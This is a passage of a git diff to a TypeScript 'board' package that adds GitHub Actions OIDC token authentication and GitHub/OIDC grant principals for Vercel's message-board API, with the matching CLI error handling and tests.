*/ +const asGithubActions = () => !appLogin() && !asDeployment() && !boardToken() && inGithubActions() + +/** Whether what goes is a Vercel login: an app's, or with nothing else to send, yours. */ +const asLogin = () => !asDeployment() && !boardToken() && !asGithubActions() + +/** The audience a GitHub Actions token for Vercel's board is made out to, whichever board it names. */ +const GITHUB_AUDIENCE = 'https://api.vercel.com/v1/messageboard' + +/** The job's GitHub Actions token, kept until a minute before it expires: GitHub mints one each time it's asked. */ +let github: { job: string; token: Promise; until: number } | null = null + +function githubToken(): Promise { + const job = `${process.env.ACTIONS_ID_TOKEN_REQUEST_URL}\n${process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN}` + if (github?.job === job && Date.now() < github.until) return github.token + const held: NonNullable = { + job, + until: Infinity, + token: githubActionsToken(GITHUB_AUDIENCE).then( + (token) => { + held.until = expiry(token) - 60_000 + return token + }, + (error: unknown) => { + if (github === held) github = null + // The handle's own words, not that Vercel's API didn't answer. + if (error instanceof BoardError) throw new HttpError(401, 'no_token', error.message, { ...(error.hint ? { hint: error.hint } : {}), origin: 'handle' }) + throw new HttpError(502, 'no_token', `GitHub Actions gave no OIDC token: ${error instanceof Error ? error.message : String(error)}`, { origin: 'handle' }) + }, + ), + } + github = held + return held.token +} /** * A token Vercel's API takes: the login of the app that runs board's CLI, when it gave one (the * token it was passed, as `vercel board --token`, or else its own), or else this deployment's OIDC - * token, or else `BOARD_TOKEN`, or your Vercel login: `VERCEL_AUTH_TOKEN`, or your `vercel login`. + * token, or else `BOARD_TOKEN`, or else a GitHub Actions job's OIDC token, or your Vercel login: + * `VERCEL_AUTH_TOKEN`, or your `vercel login`. */ async function token(): Promise { if (asDeployment()) return getVercelOidcToken() const set = boardToken() if (set) return set + if (asGithubActions()) return githubToken() // With no login to send, that's what it says, as `http()`'s does, not that the API didn't answer. return vercelLogin().catch(() => { throw new HttpError(401, 'not_logged_in', "You're not logged in to Vercel.", { hint: 'Run vercel login.', origin: 'handle' }) @@ -42,6 +77,7 @@ export function credentialSource(): string { if (passedToken() !== null) return PASSED if (asDeployment()) return 'Vercel OIDC' if (boardToken()) return 'BOARD_TOKEN' + if (asGithubActions()) return 'GitHub Actions OIDC' return loginHanded() ? 'the Vercel CLI' : 'vercel login' } @@ -60,9 +96,20 @@ export function handTeam(resolve: (() => Promise) | null) { * The team: the one a CLI that runs board's hands it, `VERCEL_ORG_ID`, the one the deployment's OIDC * token names when that token is what goes, or the linked project's (the nearest * `.vercel/project.json`). A handed one that throws fails the request with what it threw: the - * app's own words, not an internal error. + * app's own words, not an internal error. A GitHub Actions token names no team, so with none of + * these, it fails the request with how to name one. */ async function team(): Promise { + const found = await teamFound() + if (found === null && asGithubActions()) + throw new HttpError(400, 'missing_team', "A GitHub Actions token names no Vercel team, so there's no team's board to use.", { + hint: 'Pass --scope , or set VERCEL_ORG_ID.', + origin: 'handle', + }) + return found +} + +async function teamFound(): Promise { if (handed) { try { return await handed() @@ -90,7 +137,7 @@ const environment: VercelEnvironment = { fetch: () => async (input, init = {}) => { const credential = await token() // Your login goes through the fetch the CLI that runs board's hands it, which adds its own - // credentials. A deployment's token, or BOARD_TOKEN, goes as it is. + // credentials. A deployment's token, BOARD_TOKEN, or a GitHub Actions token goes as it is. if (asLogin()) return asYou(input, init, credential) const headers = new Headers(init.headers) headers.set('authorization', `Bearer ${credential}`) diff --git a/packages/board/src/cli/main.ts b/packages/board/src/cli/main.ts index 0fc4f50b0..2f310f754 100644 --- a/packages/board/src/cli/main.ts +++ b/packages/board/src/cli/main.ts @@ -927,8 +927,14 @@ function failureOf(error: unknown): Failure { return own('permission', 'board_not_granted') case 'watchers_need_project': return own('permission', 'watchers_need_project') - case 'unsupported_principal': - return own(status === 403 ? 'permission' : 'usage', 'unsupported_principal') + case 'missing_team': + return { + ...own('missing_input', 'missing_scope', [ + { instruction: "Use a team's board", argv: rerun('--scope', '') }, + { instruction: 'Or set VERCEL_ORG_ID to its ID' }, + ]), + actionRequired: true, + } case 'invalid_board_name': return own('usage', 'invalid_arguments', [helpRecovery()]) case 'too_many_redirects': @@ -1021,12 +1027,15 @@ function failureOf(error: unknown): Failure { 'auth', 'login_required', "The board didn't accept your credentials.", - // A token you passed is yours to replace, and so is BOARD_TOKEN: logging in changes nothing while either is the one sent. + // A token you passed is yours to replace, and so is BOARD_TOKEN: logging in changes nothing while either is the one + // sent, or a workflow's own, where there's no login. sent() === PASSED ? [{ instruction: 'Pass a token it accepts' }] : sent() === 'BOARD_TOKEN' ? [{ instruction: 'Pass a token it accepts in BOARD_TOKEN, or unset it' }] - : [{ instruction: 'Log in again', argv: ['vercel', 'login'] }], + : sent() === 'GitHub Actions OIDC' + ? [{ instruction: 'Pass a token it accepts in BOARD_TOKEN' }] + : [{ instruction: 'Log in again', argv: ['vercel', 'login'] }], ) if (status === 403) return theirs('permission', 'permission_denied', `You can't ${doing()}.`, refusedRecoveries()) if (status === 404) { diff --git a/packages/board/src/client/node.ts b/packages/board/src/client/node.ts index 3f17ea1f7..b9737c948 100644 --- a/packages/board/src/client/node.ts +++ b/packages/board/src/client/node.ts @@ -85,7 +85,8 @@ function localToken(url: string): { token: string } | null { } } -const expiry = (token: string): number => { +/** When `token` expires, in milliseconds: its `exp`, or five minutes from now for one that says none. */ +export const expiry = (token: string): number => { try { const { exp } = decodeJwt(token) return exp ? exp * 1000 : Date.now() + 5 * 60_000 @@ -312,7 +313,11 @@ async function tokenFromVercelCli(project: { id: string; team: string | null }): } } -async function githubActionsToken(audience: string): Promise { +/** Whether this is a GitHub Actions job that may ask GitHub for an OIDC token (`permissions: id-token: write`). */ +export const inGithubActions = () => !!process.env.ACTIONS_ID_TOKEN_REQUEST_URL && !!process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN + +/** The job's GitHub Actions OIDC token, made out to `audience`. */ +export async function githubActionsToken(audience: string): Promise { const url = new URL(process.env.ACTIONS_ID_TOKEN_REQUEST_URL!) url.searchParams.set('audience', audience) const response = await fetch(url, { @@ -414,7 +419,7 @@ export function connect( return { token: local.token, expiresAt: expiry(local.token) } } const discovered = await discover() - if (process.env.ACTIONS_ID_TOKEN_REQUEST_URL && process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN) { + if (inGithubActions()) { const token = await githubActionsToken(url) source = 'GitHub Actions OIDC' return { token, expiresAt: expiry(token) } diff --git a/packages/board/src/conformance/index.ts b/packages/board/src/conformance/index.ts index 72d71936d..b900b5b8b 100644 --- a/packages/board/src/conformance/index.ts +++ b/packages/board/src/conformance/index.ts @@ -57,9 +57,8 @@ export type ConformanceOptions = { * no grant names, a `viewer` (a person's email or ID whose team role is viewer), to check * that a role caps what grants give, and an `app` installed on the board's team (its slug or * client ID), which a local board has none of. Checks that grant to someone besides the project - * name the app when there's one, and the repository otherwise: Vercel's board takes no GitHub - * principal in a grant, so give it an app. None may be the run's own: it throws before it - * writes. + * name the app when there's one, and the repository otherwise. None may be the run's own: it + * throws before it writes. */ principals?: { project?: string; repository?: string; viewer?: string; app?: string } } @@ -201,7 +200,7 @@ const grantFor = (ctx: Context) => ({ principals: [projectFor(ctx)], can: { [`${ /** * Whom the checks that grant to someone besides the project name: the app the run was given, or - * else the repository, which a board that takes no GitHub principal in a grant refuses (Vercel's). + * else the repository, which a board that takes no GitHub principal in a grant refuses. */ const granteeOf = (ctx: Context) => ctx.principals.app !== null ? ({ kind: 'app', app: ctx.principals.app } as const) : ({ kind: 'github', repository: ctx.principals.repository } as const) @@ -2541,7 +2540,7 @@ export async function conformance(board: Board, options: ConformanceOptions = {} if (OPTIONAL.has(group) && error instanceof BoardError && error.status === 501) checks.push({ group, name, status: 'skipped', detail: `not kept here: ${error.message}` }) // Vercel's API takes watchers only from a deployment: a run as anyone else can't check them. else if (group === 'watchers' && error instanceof BoardError && error.code === 'watchers_need_project') checks.push({ group, name, status: 'skipped', detail: 'only a deployment registers watchers here' }) - // Vercel's API takes no GitHub or OIDC principal in a grant. + // A board that takes no GitHub or OIDC principal in a grant can't check what names one. else if (group === 'grants' && error instanceof BoardError && error.code === 'unsupported_principal') checks.push({ group, name, status: 'skipped', detail: 'this board takes no GitHub or OIDC principals in a grant' }) else checks.push({ group, name, status: 'failed', detail: error instanceof Error ? error.message : String(error) }) } diff --git a/packages/board/src/server/backend-vercel.ts b/packages/board/src/server/backend-vercel.ts index dbbf66388..2224e968a 100644 --- a/packages/board/src/server/backend-vercel.ts +++ b/packages/board/src/server/backend-vercel.ts @@ -28,6 +28,10 @@ type ApiPrincipal = | { type: 'user'; userId: string; clientId?: string } | { type: 'app'; clientId: string } | { type: 'project'; projectId: string; environment: string } + /** A GitHub Actions run, by its repository: `github:repo:`. */ + | { type: 'github'; repositoryId: string; repository: string; workflowRef?: string; ref?: string; event?: string } + /** A caller another OIDC issuer vouches for: `oidc::`. */ + | { type: 'oidc'; issuer: string; subject: string; claims: Record } /** An imported message's author as the API named it before platform profiles: the platform user alone. */ | { type: 'external'; id: string; syncKey: string } /** @@ -150,7 +154,7 @@ type ApiAttachment = Attachment & { boardId: string; sha256: string; state: 'pen */ type ApiActorView = { id: string - kind: 'person' | 'agent' | 'deployment' | 'app' | 'external' + kind: 'person' | 'agent' | 'deployment' | 'app' | 'workflow' | 'external' handle: string name?: string avatar?: string @@ -234,7 +238,8 @@ export type VercelOptions = { api?: string /** * How requests reach the API, with credentials it takes. In Node it defaults to a - * deployment's OIDC token, `BOARD_TOKEN`, or your Vercel login, never `VERCEL_TOKEN`. Elsewhere, pass one that sends them. + * deployment's OIDC token, `BOARD_TOKEN`, a GitHub Actions job's OIDC token, or your Vercel login, never `VERCEL_TOKEN`. + * Elsewhere, pass one that sends them. */ fetch?: typeof fetch /** How files reach Vercel's storage, on URLs the API signs: `fetch` by default, never with credentials. */ @@ -257,6 +262,8 @@ export type VercelEnvironment = { type Who = { profile: { name: string; avatar?: string } | null; can?: string } const PROFILE = /^[A-Za-z][A-Za-z0-9-]{0,31}$/ +/** A GitHub repository as `owner/name`. */ +const REPOSITORY = /^[A-Za-z0-9-]{1,39}\/[A-Za-z0-9._-]{1,100}$/ /** * What `vb` on this board calls in Vercel's API for what a sandboxed agent does, by method and path @@ -550,12 +557,18 @@ function locate(id: string): { threadId: string; sequence: number } | null { return found ? { threadId: `thr_${found[1]}`, sequence: Number(found[2]) } : null } -/** A principal as board names it: `vercel:user:`, `vercel:app:`, `vercel:project::`. */ -function principalId(principal: ApiPrincipal): string { +/** + * The principal `actor` acts through, as board names it: `vercel:user:`, `vercel:app:`, + * `vercel:project::`, and a workflow (`github:repo:`, `oidc::`) as the + * actor's ID has it, its issuer encoded as the API encodes it. + */ +function principalId(actor: ApiActor): string { + const { principal } = actor if (principal.type === 'external') return principal.id if (principal.type === 'user') return `vercel:user:${principal.userId}` if (principal.type === 'app') return `vercel:app:${principal.clientId}` - return `vercel:project:${principal.projectId}:${principal.environment}` + if (principal.type === 'project') return `vercel:project:${principal.projectId}:${principal.environment}` + return actorParts(actor.id).principal } /** A principal from a board actor ID, `vercel:project:prj_1:preview+slack:user:U1` say, or null for one the API doesn't name. */ @@ -648,13 +661,20 @@ function shownHandle(id: string, view: ApiActorView, names: Map) const goingBy = (views: Iterable, names: Map, handle: string) => [...views].filter(([id, view]) => view.handle.toLowerCase() === handle || shownHandle(id, view, names).toLowerCase() === handle).map(([id]) => id) -/** A short name for a person or an app the API doesn't name: the start of their ID. */ -const shortName = (principal: Extract) => - principal.type === 'user' ? `user-${principal.userId.slice(0, 6).toLowerCase()}` : `app-${principal.clientId.slice(0, 6).toLowerCase()}` +/** + * A short name for anyone the API doesn't name: a person or an app by the start of their ID, a GitHub + * Actions run by its repository (`owner/name`), and another issuer's caller by its subject, as the API cuts it. + */ +function shortName(principal: Extract): string { + if (principal.type === 'user') return `user-${principal.userId.slice(0, 6).toLowerCase()}` + if (principal.type === 'app') return `app-${principal.clientId.slice(0, 6).toLowerCase()}` + if (principal.type === 'github') return principal.repository + return principal.subject.slice(0, 128) +} const authorOf = (actor: ApiActor): Author => ({ actor: actor.id, - principal: principalId(actor.principal), + principal: principalId(actor), profile: actor.profile?.name ?? null, }) @@ -878,6 +898,15 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm */ const notLetIn = (name: string | null, principal: ApiPrincipal) => { const board = name === null ? "the team's board" : `board ${name}` + if (principal.type === 'github' || principal.type === 'oidc') { + // A repository the API names goes into the command only when it's one. + const repository = principal.type === 'github' && REPOSITORY.test(principal.repository) ? principal.repository : null + if (repository === null) return new HttpError(403, 'board_not_granted', `this workflow has no access to ${board}.`, { hint: 'Someone who manages the board can grant it.', origin: 'handle' }) + return new HttpError(403, 'board_not_granted', `this workflow has no access to ${board} (${repository}).`, { + hint: `Grant it: vb grants create --github ${repository}${name === null ? '' : ` --name ${name}`} --can '*=read,post,react,label'`, + origin: 'handle', + }) + } if (principal.type !== 'project') return new HttpError(403, 'board_not_granted', `this project has no access to ${board}.`, { hint: 'Someone who manages the board can grant it.', origin: 'handle' }) const grant = `vb grants create --project ${principal.projectId} --environment ${principal.environment}${name === null ? '' : ` --name ${name}`} --can '*=read,post,react,label'` return new HttpError(403, 'board_not_granted', `this project has no access to ${board} (${principal.projectId}, ${principal.environment}).`, { @@ -901,7 +930,8 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm : api<{ defaultBoardId: string | null }>(who, 'GET', '/boards').then(async ({ defaultBoardId }) => { if (defaultBoardId) return defaultBoardId const { principal } = (await self(who)).actor - if (principal.type === 'project') throw notLetIn(null, principal) + // A deployment or a workflow the API names no board to isn't let in, and makes none. + if (principal.type === 'project' || principal.type === 'github' || principal.type === 'oidc') throw notLetIn(null, principal) const { board: made } = await api<{ board: { id: string } }>(who, 'POST', '/boards/default', { body: { operationId: operationId() } }) return made.id })).catch((error: unknown) => { @@ -1725,7 +1755,7 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm for (const id of ids) named.add(id) } // A profile name covers that agent of anyone's; a platform user a sync imported is only ever themselves. - return (actor) => named.has(actor.id) || named.has(principalId(actor.principal)) || (actor.profile !== undefined && !actor.profile.platform && named.has(actor.profile.name)) + return (actor) => named.has(actor.id) || named.has(principalId(actor)) || (actor.profile !== undefined && !actor.profile.platform && named.has(actor.profile.name)) } /** Which messages a `--source` value covers. */ @@ -1992,7 +2022,7 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm throw error }) /** The actor `who` writes as: the credentials' principal, and its profile, as the API names it. */ - const actorOf = async (who: Who) => `${principalId((await self(who)).actor.principal)}${who.profile ? `+${who.profile.name.toLowerCase()}` : ''}` + const actorOf = async (who: Who) => `${principalId((await self(who)).actor)}${who.profile ? `+${who.profile.name.toLowerCase()}` : ''}` /** * Refuses a handle narrowed with `as(profile, { can })` a source: the platform's app reads and @@ -2766,7 +2796,7 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm const keys = body.from === null ? [...new Set([body.author.id.split(':')[0]!, ...(binding?.sync ?? []).map((entry) => entry.key)])] : [body.from] const ours = (actor: string) => keys.some((key) => actor.startsWith(`${key}:`)) if (!keys.some((key) => body.text.includes(`@[${key}:`))) return body.text - const owner = principalId((await self(who)).actor.principal) + const owner = principalId((await self(who)).actor) const named = replaceMentions(body.text, (token) => (token.kind === 'actor' && ours(token.actor) ? `@[${owner}+${token.actor}]` : null)) return named.length > MESSAGE_TEXT_MAX ? body.text : named } @@ -2810,24 +2840,6 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm /** A sync key's inbox, under the board. */ const inboxPath = (who: Who, key: string, rest = '') => onBoard(who, `/sync/inbox/${encodeURIComponent(key)}${rest}`) - /** A grant Vercel's API won't keep: one naming a GitHub run or an OIDC issuer, which an app stands in for. */ - const grantRefused = (error: unknown): never => { - if (error instanceof HttpError && error.code === 'unsupported_principal') - throw new HttpError(400, 'unsupported_principal', "Vercel's board takes no GitHub or OIDC principals in a grant.", { - hint: 'Grant an app that an OIDC exchange policy issues tokens for: --app .', - origin: 'handle', - }) - throw error - } - /** An explain Vercel's API won't answer: for a GitHub run or an OIDC issuer, which no grant there names. */ - const explainRefused = (error: unknown): never => { - if (error instanceof HttpError && error.code === 'unsupported_principal') - throw new HttpError(400, 'unsupported_principal', "Vercel's board explains no GitHub or OIDC caller: no grant names one.", { - hint: 'Explain the app an OIDC exchange policy issues tokens for: --app .', - origin: 'handle', - }) - throw error - } // Tasks. The API keeps a task on its thread and names it by the thread; a board names it by its root. /** What a task route answers. On a create, `claimed` says whether the token this request sent holds the task's live claim. */ type Made = { task: ApiTaskOf; claimed?: boolean } @@ -3108,7 +3120,7 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm // What these credentials may do, and until when, as the API says; without a word, what any it lets in may. return { actor: found.actor.id, - principal: principalId(found.actor.principal), + principal: principalId(found.actor), kind: shown.kind, handle: shown.handle, name: shown.name, @@ -3398,17 +3410,17 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm }, async createGrant(caller, input, signal) { const who = whoOf(caller) - const { grant } = await api(who, 'POST', await onBoard(who, '/grants'), { body: { operationId: operationId(), ...input }, ...(signal ? { signal } : {}) }).catch(grantRefused) + const { grant } = await api(who, 'POST', await onBoard(who, '/grants'), { body: { operationId: operationId(), ...input }, ...(signal ? { signal } : {}) }) return { grant: grantFrom(grant) } }, async createGrants(caller, input, signal) { const who = whoOf(caller) - const { grants } = await api(who, 'POST', await onBoard(who, '/grants/batch'), { body: { operationId: operationId(), ...input }, ...(signal ? { signal } : {}) }).catch(grantRefused) + const { grants } = await api(who, 'POST', await onBoard(who, '/grants/batch'), { body: { operationId: operationId(), ...input }, ...(signal ? { signal } : {}) }) return { grants: grants.map(grantFrom) } }, async updateGrant(caller, { id, ...change }, signal) { const who = whoOf(caller) - const { grant } = await api(who, 'PATCH', await onBoard(who, `/grants/${encodeURIComponent(id)}`), { body: { operationId: operationId(), ...change }, ...(signal ? { signal } : {}) }).catch(grantRefused) + const { grant } = await api(who, 'PATCH', await onBoard(who, `/grants/${encodeURIComponent(id)}`), { body: { operationId: operationId(), ...change }, ...(signal ? { signal } : {}) }) return { grant: grantFrom(grant) } }, async explain(caller, { claim, ...query }, signal) { @@ -3416,7 +3428,7 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm const params = new URLSearchParams() for (const [name, value] of Object.entries(query)) if (value !== undefined) params.set(name, value) for (const pair of claim ?? []) params.append('claim', pair) - const explained = await api(who, 'GET', await onBoard(who, `/grants/explain?${params}`), signal ? { signal } : {}).catch(explainRefused) + const explained = await api(who, 'GET', await onBoard(who, `/grants/explain?${params}`), signal ? { signal } : {}) return { ...explained, grants: explained.grants.map(grantFrom) } }, async revokeGrant(caller, { id, ...options }, signal) { @@ -3608,7 +3620,7 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm } else { // The task is what it asked for, as far as it can say: it can't read the channel to see. const { actor } = await self(who) - task = askedTask(principalId(actor.principal), await actorOf(who), input) + task = askedTask(principalId(actor), await actorOf(who), input) const first = { id: idAt(made.task.id, 1), threadId: made.task.id, sequence: 1 } root = await view(who, { ...(await sent(who, first, { text, labels: { ...input.labels, [TASK_LABEL]: task.state }, attachments: input.attachments, noSync: input.noSync })), task }, input.channel!) } @@ -3659,7 +3671,7 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm const asked = input.tasks[at]! const needs = [...waits[at]!.threads, ...waits[at]!.keys.map((key) => threads[places.get(key)!]!)] const { actor } = await self(who) - const stood: ApiTask = { state: needs.length ? 'waiting' : 'ready', owner: principalId(actor.principal), by: await actorOf(who), for: asked.for ?? null, needs, epoch: 0, claim: null, blocked: null, result: null, reason: null } + const stood: ApiTask = { state: needs.length ? 'waiting' : 'ready', owner: principalId(actor), by: await actorOf(who), for: asked.for ?? null, needs, epoch: 0, claim: null, blocked: null, result: null, reason: null } const first = { id: idAt(task.id, 1), threadId: task.id, sequence: 1 } return view(who, { ...(await sent(who, first, { text: asked.text, labels: { ...asked.labels, [TASK_LABEL]: stood.state }, attachments: asked.attachments, noSync: asked.noSync })), task: stood }, input.channel) }), diff --git a/packages/board/src/server/board.ts b/packages/board/src/server/board.ts index 9666a900f..77aa7ba59 100644 --- a/packages/board/src/server/board.ts +++ b/packages/board/src/server/board.ts @@ -124,8 +124,8 @@ type DefaultOptions = { backend?: undefined /** * How requests reach Vercel's API, with credentials it takes: a token for the team. In Node it - * defaults to the deployment's OIDC token, `BOARD_TOKEN`, or your Vercel login, never `VERCEL_TOKEN`; elsewhere, a - * browser say, pass one. A board at `BOARD_URL` gets the credentials `vb` sends it instead. + * defaults to the deployment's OIDC token, `BOARD_TOKEN`, a GitHub Actions job's OIDC token, or your Vercel login, + * never `VERCEL_TOKEN`; elsewhere, a browser say, pass one. A board at `BOARD_URL` gets the credentials `vb` sends it instead. */ fetch?: typeof fetch } diff --git a/packages/board/test/backend-vercel.test.ts b/packages/board/test/backend-vercel.test.ts index 11e5bd7c3..5c3cbd498 100644 --- a/packages/board/test/backend-vercel.test.ts +++ b/packages/board/test/backend-vercel.test.ts @@ -73,7 +73,7 @@ async function drain(handle: ReturnType) { } describe('vercel()', () => { - it("passes the conformance kit's core, schedules, grants, and attachments for a person, and skips what Vercel's API takes only from a deployment, and GitHub grants", async () => { + it("passes the conformance kit's core, schedules, grants, and attachments for a person, and skips what Vercel's API takes only from a deployment", async () => { const api = fakeMessageboard() // The API looks names up, so the grants checks name a project, a repository, a viewer, and an app its team has. const report = await conformance(handleOn(api), { withHeaders: withHeadersOn(api), principals: { project: 'prj_web', repository: 'acme/api', viewer: 'val@acme.com', app: 'ship' } }) @@ -148,7 +148,7 @@ describe('vercel()', () => { 'grants: makes another grant for the same principals, and changes one by its ID': 'passed', "grants: keeps a grant's can as written, a pattern with no permissions included": 'passed', 'grants: lets the most specific pattern decide, then the closest principal there, and adds up ties': 'passed', - 'grants: lets everyone narrow what something else lets in, and lets no one in itself': 'skipped', + 'grants: lets everyone narrow what something else lets in, and lets no one in itself': 'passed', 'grants: caps a person by their team role, so a viewer reads but neither posts nor manages': 'passed', 'grants: names an app by its slug or client ID, keeps it by client ID, and every app as a group': 'passed', 'grants: takes manage at each pattern a grant names to change it, and at * to list them': 'passed', @@ -2919,15 +2919,6 @@ describe('vercel()', () => { expect(await jb.explain('dev', { user: 'val@acme.com' })).toMatchObject({ pattern: '*', level: 'group', grants: [{ id: 'g1' }], capped: 'viewer', can: ['read', 'react'] }) // An app on the team, by its slug: g3 lets every one in. expect(await jb.explain('dev', { app: 'ship' })).toMatchObject({ pattern: '*', level: 'group', grants: [{ id: 'g3' }], can: ['read', 'post', 'react', 'label'] }) - // No grant names a repository's runs or an issuer, so neither is explained: an app stands in for them. - for (const principal of [{ github: 'acme/web', workflow: 'ci.yml' }, { oidc: 'https://gitlab.com', claims: { project_id: '42' } }]) - await expect(jb.explain('ci', principal)).rejects.toMatchObject({ - status: 400, - code: 'unsupported_principal', - origin: 'handle', - message: "Vercel's board explains no GitHub or OIDC caller: no grant names one.", - hint: 'Explain the app an OIDC exchange policy issues tokens for: --app .', - }) expect((await jb.revokeGrant(grant.id)).revoked).toBe(true) expect(api.requests).toEqual( expect.arrayContaining([ @@ -2939,21 +2930,39 @@ describe('vercel()', () => { ) }) - it("refuses a grant naming a GitHub run or an OIDC issuer, made or added, saying an app stands in for it", async () => { + it("sends grants naming a repository's runs or an OIDC issuer to Vercel's API, made, added, and explained", async () => { const api = fakeMessageboard() const jb = handleOn(api) - const refusal = { - status: 400, - code: 'unsupported_principal', - origin: 'handle', - message: "Vercel's board takes no GitHub or OIDC principals in a grant.", - hint: 'Grant an app that an OIDC exchange policy issues tokens for: --app .', + const { grant } = await jb.createGrant({ principals: [{ kind: 'github', repository: 'acme/web', branch: 'main' }], can: { 'ci/': ['post'] } }) + expect(grant.principals).toEqual([{ kind: 'github', repositoryId: '700001', repository: 'acme/web', branch: 'main' }]) + const issuer = { kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_path: 'acme/api' } } as const + const updated = await jb.updateGrant(grant.id, { add: [issuer] }) + expect(updated.grant.principals).toEqual([{ kind: 'github', repositoryId: '700001', repository: 'acme/web', branch: 'main' }, issuer]) + const [made] = (await jb.createGrants([{ principals: [{ kind: 'github', repository: 'acme/api', event: 'push' }], can: { 'deploys/': ['read'] } }])).grants + expect(made?.principals).toEqual([{ kind: 'github', repositoryId: '700002', repository: 'acme/api', event: 'push' }]) + // What the API decides for a run on main, and for one on another branch, which the grant doesn't name. + expect(await jb.explain('ci/www', { github: 'acme/web', branch: 'main' })).toMatchObject({ pattern: 'ci/', level: 'principal', grants: [{ id: grant.id }], can: ['post'] }) + expect(await jb.explain('ci/www', { github: 'acme/web', branch: 'dev' })).toMatchObject({ pattern: null, grants: [], can: [] }) + expect(await jb.explain('ci/www', { oidc: 'https://gitlab.com', claims: { project_path: 'acme/api' } })).toMatchObject({ pattern: 'ci/', grants: [{ id: grant.id }], can: ['post'] }) + }) + + it("says what an API that takes no GitHub or OIDC principal answers, in its own words and nothing else", async () => { + const api = fakeMessageboard() + const refused = { code: 'unsupported_principal', message: 'Grants name no GitHub or OIDC principals.' } + // An API from before it took them, which answers each with a 400 of its own. + const older: typeof fetch = async (input, init = {}) => { + const url = new URL(input instanceof Request ? input.url : String(input)) + const body = typeof init.body === 'string' ? init.body : '' + if ((url.pathname.includes('/grants') && /"kind":"(github|oidc)"/.test(body)) || url.searchParams.has('github') || url.searchParams.has('oidc')) + return Response.json({ error: refused }, { status: 400 }) + return as(api, 'user:u_jb')(input, init) } - for (const principal of [{ kind: 'github', repository: 'acme/web' }, { kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: '42' } }] as const) - await expect(jb.createGrant({ principals: [principal], can: { 'ci/': ['post'] } })).rejects.toMatchObject(refusal) + const jb = board({ backend: vercel({ team: 'team_test', api: API, fetch: older }) }) + const theirs = { status: 400, ...refused, origin: 'board', hint: undefined } + await expect(jb.createGrant({ principals: [{ kind: 'github', repository: 'acme/web' }], can: { 'ci/': ['post'] } })).rejects.toMatchObject(theirs) const { grant } = await jb.createGrant({ principals: [{ kind: 'app', app: 'ship' }], can: { 'ci/': ['post'] } }) - await expect(jb.updateGrant(grant.id, { add: [{ kind: 'github', repository: 'acme/web' }] })).rejects.toMatchObject(refusal) - expect((await jb.grants()).find((found) => found.id === grant.id)?.principals).toEqual([{ kind: 'app', clientId: 'oac_1', name: 'ship' }]) + await expect(jb.updateGrant(grant.id, { add: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: '42' } }] })).rejects.toMatchObject(theirs) + await expect(jb.explain('ci', { github: 'acme/web' })).rejects.toMatchObject(theirs) }) it("gives back grants' times as the protocol has them, though the API answers milliseconds", async () => { diff --git a/packages/board/test/cli-embedded.test.ts b/packages/board/test/cli-embedded.test.ts index 81e961105..b8df9b6a9 100644 --- a/packages/board/test/cli-embedded.test.ts +++ b/packages/board/test/cli-embedded.test.ts @@ -1138,26 +1138,88 @@ describe('the embedded CLI', () => { } }) - it("says what Vercel's board refuses: a grant naming a GitHub run or an OIDC issuer", async () => { + it("takes a grant naming a repository's runs or an OIDC issuer on Vercel's board, and says an older API's refusal in its own words", async () => { const home = await isolated() vi.stubEnv('VERCEL_AUTH_TOKEN', 'user:u_jb') const api = fakeMessageboard() - const fetching = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => api.fetch(input, init)) + // An API from before it took them, which answers each with a 400 of its own. + let older = false + const fetching = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => { + const asked = new URL(input instanceof Request ? input.url : String(input)) + if (older && ((typeof init?.body === 'string' && /"kind":"(github|oidc)"/.test(init.body)) || asked.searchParams.has('github'))) + return Response.json({ error: { code: 'unsupported_principal', message: 'Grants name no GitHub or OIDC principals.' } }, { status: 400 }) + return api.fetch(input, init) + }) const run = (...args: string[]) => capture(() => main([...args, '--scope', 'test'], { name: 'board', commands: local })) const cwd = process.cwd() process.chdir(home) try { - const grant = "error: Vercel's board takes no GitHub or OIDC principals in a grant.\n\n Grant an app that an OIDC exchange policy issues tokens for: --app .\n" - expect(await run('grants', 'create', '--github', 'acme/web', '--can', 'ci/=post')).toMatchObject({ code: 2, stdout: '', stderr: grant }) - expect(await run('grants', 'create', '--oidc', 'https://gitlab.com', '--claim', 'project_id=42', '--can', 'ci/=post')).toMatchObject({ code: 2, stderr: grant }) - const json = JSON.parse((await run('grants', 'create', '--github', 'acme/web', '--can', 'ci/=post', '--json')).stderr) - expect(json).toMatchObject({ status: 'error', reason: 'unsupported_principal', hint: 'Grant an app that an OIDC exchange policy issues tokens for: --app .' }) - expect(await run('grants', 'explain', 'ci', '--github', 'acme/web')).toMatchObject({ + expect(await run('grants', 'create', '--github', 'acme/web', '--git-branch', 'main', '--can', 'ci/=post')).toEqual({ code: 0, stdout: 'created g4 --github acme/web --git-branch main ci/=post\n', stderr: '' }) + expect(await run('grants', 'create', '--oidc', 'https://gitlab.com', '--claim', 'project_path=acme/api', '--can', 'deploys=post')).toEqual({ + code: 0, + stdout: 'created g5 --oidc https://gitlab.com --claim project_path=acme/api deploys=post\n', + stderr: '', + }) + expect(await run('grants', 'explain', 'ci/www', '--github', 'acme/web', '--git-branch', 'main')).toEqual({ code: 0, stdout: 'ci/ wins. Closest grant for acme/web: g4 (--github): post.\n', stderr: '' }) + older = true + // The API's words, and no way out of the handle's: it doesn't know what this API takes. + expect(await run('grants', 'create', '--github', 'acme/web', '--can', 'ci/=post')).toEqual({ code: 2, stdout: '', stderr: "error: Can't create the grant.\n Grants name no GitHub or OIDC principals.\n" }) + expect(JSON.parse((await run('grants', 'create', '--github', 'acme/web', '--can', 'ci/=post', '--json')).stderr)).toEqual({ + status: 'error', + reason: 